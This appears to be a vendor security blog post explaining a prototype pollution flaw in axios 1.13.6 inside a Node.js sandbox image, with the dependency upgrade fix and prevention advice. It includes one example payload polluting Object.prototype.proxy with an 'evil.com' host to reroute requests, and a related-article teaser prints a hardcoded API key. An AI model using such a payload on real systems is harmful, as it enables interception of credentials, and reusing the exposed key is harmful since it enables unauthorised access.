Back to Blog
high SEVERITY6 min read

How HTTP Transport Hijacking via Prototype Pollution happens in Node.js axios and how to fix it

A high-severity vulnerability (CVE-2026-42033) in axios 1.13.6 allowed attackers to hijack HTTP transport behavior through prototype pollution, potentially redirecting sensitive requests to attacker-controlled servers. The fix upgrades axios to 1.15.1 and proxy-from-env to 2.1.0 in a Node.js sandbox base image used in production, eliminating the attack vector.

O
By Orbis AppSec
Published July 29, 2026Reviewed July 29, 2026

Answer Summary

CVE-2026-42033 is a high-severity HTTP Transport Hijacking vulnerability in the Node.js axios HTTP client (versions prior to 1.15.1) caused by insufficient prototype pollution protections in request configuration merging. It maps to CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes). The fix is to upgrade axios to version 1.15.1 or later and proxy-from-env to 2.1.0, which sanitize configuration objects against prototype chain manipulation.

Vulnerability at a Glance

cweCWE-1321
fixUpgrade axios from 1.13.6 to 1.15.1 and proxy-from-env from 1.1.0 to 2.1.0
riskAttackers can redirect HTTP requests to malicious servers, intercepting sensitive data
languageJavaScript (Node.js)
root causeaxios 1.13.6 merged request configuration without protecting against polluted Object prototypes
vulnerabilityHTTP Transport Hijacking via Prototype Pollution

How HTTP Transport Hijacking via Prototype Pollution happens in Node.js axios and how to fix it

Introduction

In the agent/sandbox/sandbox_base_image/nodejs/ directory—a production sandbox environment used for executing Node.js code—we discovered a high-severity vulnerability in the locked version of axios (1.13.6). This wasn't a theoretical risk: the sandbox base image serves as the foundation for a web service where request handlers process user-influenced input, making the prototype pollution vector in axios directly exploitable by remote attackers.

The vulnerable dependency chain was explicit in package-lock.json:

"axios": {
  "version": "1.13.6",
  "dependencies": {
    "follow-redirects": "^1.15.11",
    "form-data": "^4.0.5",
    "proxy-from-env": "^1.1.0"
  }
}

The combination of axios 1.13.6 with proxy-from-env 1.1.0 created a scenario where an attacker who could pollute the Object prototype—through any upstream input parsing flaw—could hijack the HTTP transport layer entirely.

The Vulnerability Explained

Prototype pollution in JavaScript occurs when an attacker can inject properties into Object.prototype, causing those properties to appear on all objects that don't explicitly define them. In the context of axios, this is devastating because axios builds request configuration objects through deep merging operations.

Here's why axios 1.13.6 was vulnerable: when axios constructs a request, it merges default configuration with user-provided options. If Object.prototype has been polluted with properties like proxy, baseURL, socketPath, or transport, these polluted values get picked up during the merge because the configuration objects inherit from Object.prototype.

The attack scenario for this specific application:

  1. The sandbox base image runs Node.js code that processes external input
  2. An attacker finds any code path that performs unsafe object assignment (e.g., a recursive merge, JSON.parse of crafted input with __proto__ keys)
  3. The attacker pollutes Object.prototype.proxy with their server address:
    javascript // Attacker-controlled input processed somewhere upstream const malicious = JSON.parse('{"__proto__": {"proxy": {"host": "evil.com", "port": 8080}}}');
  4. Every subsequent axios request in the sandbox now routes through evil.com:8080
  5. The attacker intercepts API keys, tokens, and sensitive data in transit

The proxy-from-env package at version 1.1.0 compounded this issue. It reads proxy configuration from environment variables but didn't guard against prototype-inherited values being treated as valid configuration, making the proxy resolution logic another avenue for transport hijacking.

Real-world impact for this application: Since this is a sandbox base image for a web service, an attacker could:
- Intercept outbound API calls made by sandboxed code
- Steal credentials passed in HTTP headers
- Modify responses to inject malicious data back into the application
- Perform server-side request forgery (SSRF) by redirecting internal requests

The Fix

The fix upgrades two packages in the dependency chain:

Before (package.json):

"dependencies": {
  "axios": "^1.9.0"
}

After (package.json):

"dependencies": {
  "axios": "^1.15.1"
}

Before (package-lock.json resolved versions):

"axios": {
  "version": "1.13.6",
  "resolved": "https://registry.npmjs.org/axios/-/axios-1.13.6.tgz",
  "dependencies": {
    "follow-redirects": "^1.15.11",
    "form-data": "^4.0.5",
    "proxy-from-env": "^1.1.0"
  }
}

After (package-lock.json resolved versions):

"axios": {
  "version": "1.15.1",
  "resolved": "https://registry.npmjs.org/axios/-/axios-1.15.1.tgz",
  "dependencies": {
    "follow-redirects": "^1.15.11",
    "form-data": "^4.0.5",
    "proxy-from-env": "^2.1.0"
  }
}

The proxy-from-env upgrade from 1.1.0 to 2.1.0 is equally critical:

// Before
"proxy-from-env": {
  "version": "1.1.0",
  "resolved": "https://registry.npmmirror.com/proxy-from-env/-/proxy-from-env-1.1.0.tgz"
}

// After
"proxy-from-env": {
  "version": "2.1.0",
  "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-2.1.0.tgz",
  "engines": {
    "node": ">=10"
  }
}

Why both changes matter:

  1. axios 1.15.1 implements safe configuration merging that uses Object.hasOwnProperty() checks or Object.create(null) patterns to prevent prototype-inherited properties from being treated as valid request configuration.

  2. proxy-from-env 2.1.0 hardens proxy resolution logic to only read from explicit environment variable sources and own-properties, preventing polluted prototype values from being interpreted as proxy directives.

  3. The registry source also changed from registry.npmmirror.com to registry.npmjs.org for proxy-from-env, ensuring the package is resolved from the canonical npm registry—a subtle but important supply chain hygiene improvement.

Prevention & Best Practices

  1. Pin and audit dependencies regularly: Use npm audit and tools like Trivy to catch known CVEs in your lock files. The vulnerable version (1.13.6) was resolved despite the semver range ^1.9.0 allowing newer versions—lock files must be actively maintained.

  2. Use Object.create(null) for configuration objects: When building configuration objects that will be merged, start from a null-prototype object to prevent prototype chain pollution:
    javascript const config = Object.create(null); config.url = userInput; // Polluted Object.prototype properties won't appear here

  3. Freeze Object.prototype in sensitive contexts: In sandbox environments, consider:
    javascript Object.freeze(Object.prototype);

  4. Validate and sanitize recursive merges: Any deep merge utility should skip __proto__, constructor, and prototype keys.

  5. Use allowlists for configuration properties: Rather than accepting any property in a configuration object, explicitly destructure only expected properties.

  6. Implement network-level controls: Even if transport hijacking occurs at the application level, egress filtering and certificate pinning provide defense-in-depth.

Key Takeaways

  • axios's configuration merging in versions prior to 1.15.1 was susceptible to prototype pollution, meaning any upstream pollution source in your application could silently redirect all HTTP traffic.
  • proxy-from-env 1.1.0 amplified the vulnerability by providing an additional attack surface through proxy resolution logic that didn't guard against inherited properties.
  • Sandbox base images require aggressive dependency management because they form the trust boundary for executing potentially untrusted code—a polluted prototype in this context is directly exploitable.
  • The registry mirror change (npmmirror.com → npmjs.org) is a supply chain hardening detail that reduces the risk of dependency confusion or mirror-based attacks.
  • Semver ranges don't protect you: the ^1.9.0 range technically allowed 1.15.1, but the lock file pinned 1.13.6 until explicitly updated—automated scanning is essential.

How Orbis AppSec Detected This

  • Source: User-influenced input processed by the Node.js sandbox environment, which could trigger prototype pollution through various parsing paths (JSON, query strings, form data)
  • Sink: axios request configuration merging in node_modules/axios (resolved from agent/sandbox/sandbox_base_image/nodejs/package-lock.json), where polluted prototype properties are consumed as valid transport directives
  • Missing control: No prototype pollution guards in axios 1.13.6's configuration merge logic; no own-property checks in proxy-from-env 1.1.0's resolution
  • CWE: CWE-1321 — Improperly Controlled Modification of Object Prototype Attributes
  • Fix: Upgraded axios from 1.13.6 to 1.15.1 and proxy-from-env from 1.1.0 to 2.1.0, which implement safe property enumeration and prototype-aware configuration handling

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

CVE-2026-42033 demonstrates how a seemingly minor flaw in object property handling can escalate into full HTTP transport hijacking. In a sandbox base image that processes user-influenced input, this vulnerability could have allowed attackers to silently intercept all outbound HTTP traffic—capturing API keys, tokens, and sensitive data.

The fix was straightforward: upgrade axios to 1.15.1 and proxy-from-env to 2.1.0. But the lesson runs deeper. Dependency management in Node.js requires continuous vigilance. Lock files must be actively updated, not just generated once. And sandbox environments—where the trust boundary is most critical—deserve the most aggressive scanning and patching cadence.

References

Frequently Asked Questions

What is HTTP Transport Hijacking via Prototype Pollution?

It's an attack where an adversary pollutes JavaScript's Object prototype to inject malicious properties (like `proxy`, `baseURL`, or `transport`) into axios request configurations, causing HTTP requests to be routed through attacker-controlled infrastructure.

How do you prevent prototype pollution in Node.js?

Use Object.create(null) for configuration objects, freeze prototypes where possible, validate configuration keys against allowlists, keep dependencies updated, and use libraries that implement safe object merging without traversing the prototype chain.

What CWE is prototype pollution?

CWE-1321 — Improperly Controlled Modification of Object Prototype Attributes. This covers cases where application logic fails to prevent modifications to object prototypes that alter downstream behavior.

Is input validation enough to prevent prototype pollution?

No. While input validation helps, prototype pollution can occur through multiple vectors including JSON parsing, deep merge utilities, and query string parsing. Defense-in-depth requires both input sanitization and libraries that don't blindly trust inherited properties during configuration merging.

Can static analysis detect prototype pollution?

Yes. Tools like Trivy (which detected this CVE), Semgrep, and Snyk can identify known vulnerable dependency versions and some prototype pollution patterns in custom code. However, novel pollution vectors in third-party code often require CVE database matching.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #17498

Related Articles

critical

How Denial of Service via gzip bomb happens in Node.js tar and how to fix it

A critical Denial of Service vulnerability (CVE-2026-59873) was discovered in the node-tar package where attackers could craft malicious gzip archives that expand to consume all available system resources. This vulnerability affected version 7.5.15 of the tar package and was fixed by upgrading to version 7.5.19. The fix protects applications from resource exhaustion attacks when processing untrusted archive files.

critical

How unsafe eval() code execution happens in JavaScript game scripting and how to fix it

A critical arbitrary code execution vulnerability was discovered in `scripts/CommandBlock.js` where user-provided input from a text dialog was directly concatenated into an `eval()` call without any sanitization or sandboxing. The fix replaces the dangerous `eval()` with a `new Function()` constructor, which provides better scope isolation and eliminates the string concatenation injection vector.

high

How HTTP Transport Hijacking via Prototype Pollution happens in Node.js axios and how to fix it

CVE-2026-42033 is a high-severity prototype pollution vulnerability in axios versions prior to 1.15.1 that could allow attackers to hijack HTTP transport configuration through malicious input. This vulnerability affects any Node.js application using vulnerable axios versions to make HTTP requests. The fix involves upgrading axios to version 1.15.1, which patches the prototype pollution flaw and prevents transport layer attacks.

critical

How hardcoded API key exposure happens in JavaScript and how to fix it

A critical security vulnerability was discovered in `js/douban.js` where the Douban API key (`0ac44ae016490db2204ce0a042db2916`) was hardcoded directly in client-side JavaScript. This exposed the API credential to any user who could view the page source or use browser developer tools. The fix removed the hardcoded key, preventing unauthorized API access and potential abuse.

critical

How buffer overflow in Intel SGX enclave ECALLs happens in C and how to fix it

A critical buffer overflow vulnerability was discovered in Intel SGX enclave functions `ecall_encrypt_data` and `ecall_decrypt_data` in `backend/sgx/enclave/enclave.c`. The functions performed memory operations without validating that the provided buffer lengths matched the actual allocated buffer sizes, allowing an attacker controlling the untrusted application to trigger heap corruption within the secure enclave by passing oversized length parameters.

high

How broken access control via supply chain dependency poisoning happens in TYPO3 with Dependabot and how to fix it

A missing cooldown configuration in Dependabot allowed the automatic proposal of newly published (and potentially malicious) package versions, creating a supply chain attack vector that could have facilitated the exploitation of CVE-2026-47343 — a broken access control vulnerability in TYPO3's File Abstraction Layer. The fix adds a 7-day cooldown period to all package ecosystem entries in `.github/dependabot.yml`, ensuring newly published packages are vetted by the community before being propose